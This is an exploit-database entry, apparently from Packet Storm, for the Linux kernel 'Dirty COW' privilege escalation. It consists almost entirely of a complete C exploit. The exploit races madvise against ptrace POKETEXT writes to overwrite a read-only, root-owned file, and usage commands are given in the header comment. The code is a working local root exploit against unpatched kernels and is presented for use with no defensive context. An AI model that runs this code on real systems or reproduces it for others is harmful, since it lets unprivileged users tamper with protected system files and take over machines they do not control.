Linux Kernel Dirty COW PTRACE_POKEDATA Privilege Escalation

2016-11-25T00:00:00
ID PACKETSTORM:139922
Type packetstorm
Reporter Phil Oester
Modified 2016-11-25T00:00:00

Description

                                        
                                            `// $ echo pikachu|sudo tee pokeball;ls -l pokeball;gcc -pthread pokemon.c -o d;./d pokeball miltank;cat pokeball  
#include <fcntl.h> //// pikachu  
#include <pthread.h> //// -rw-r--r-- 1 root root 8 Apr 4 12:34 pokeball  
#include <string.h> //// pokeball  
#include <stdio.h> //// (___)  
#include <stdint.h> //// (o o)_____/  
#include <sys/mman.h> //// @@ ` \   
#include <sys/types.h> //// \ ____, /miltank  
#include <sys/stat.h> //// // //  
#include <sys/wait.h> //// ^^ ^^  
#include <sys/ptrace.h> //// mmap bc757000  
#include <unistd.h> //// madvise 0  
////////////////////////////////////////////// ptrace 0  
////////////////////////////////////////////// miltank  
//////////////////////////////////////////////  
int f ;// file descriptor  
void *map ;// memory map  
pid_t pid ;// process id  
pthread_t pth ;// thread  
struct stat st ;// file info  
//////////////////////////////////////////////  
void *madviseThread(void *arg) {// madvise thread  
int i,c=0 ;// counters  
for(i=0;i<200000000;i++)//////////////////// loop to 2*10**8  
c+=madvise(map,100,MADV_DONTNEED) ;// race condition  
printf("madvise %d\n\n",c) ;// sum of errors  
}// /madvise thread  
//////////////////////////////////////////////  
int main(int argc,char *argv[]) {// entrypoint  
if(argc<3)return 1 ;// ./d file contents  
printf("%s \n\  
(___) \n\  
(o o)_____/ \n\  
@@ ` \\ \n\  
\\ ____, /%s \n\  
// // \n\  
^^ ^^ \n\  
", argv[1], argv[2]) ;// dirty cow  
f=open(argv[1],O_RDONLY) ;// open read only file  
fstat(f,&st) ;// stat the fd  
map=mmap(NULL ,// mmap the file  
st.st_size+sizeof(long) ,// size is filesize plus padding  
PROT_READ ,// read-only  
MAP_PRIVATE ,// private mapping for cow  
f ,// file descriptor  
0) ;// zero  
printf("mmap %lx\n\n",(unsigned long)map);// sum of error code  
pid=fork() ;// fork process  
if(pid) {// if parent  
waitpid(pid,NULL,0) ;// wait for child  
int u,i,o,c=0,l=strlen(argv[2]) ;// util vars (l=length)  
for(i=0;i<10000/l;i++)//////////////////// loop to 10K divided by l  
for(o=0;o<l;o++)//////////////////////// repeat for each byte  
for(u=0;u<10000;u++)////////////////// try 10K times each time  
c+=ptrace(PTRACE_POKETEXT ,// inject into memory  
pid ,// process id  
map+o ,// address  
*((long*)(argv[2]+o))) ;// value  
printf("ptrace %d\n\n",c) ;// sum of error code  
}// otherwise  
else {// child  
pthread_create(&pth ,// create new thread  
NULL ,// null  
madviseThread ,// run madviseThred  
NULL) ;// null  
ptrace(PTRACE_TRACEME) ;// stat ptrace on child  
kill(getpid(),SIGSTOP) ;// signal parent  
pthread_join(pth,NULL) ;// wait for thread  
}// / child  
return 0 ;// return  
}// / entrypoint  
//////////////////////////////////////////////  
  
  
`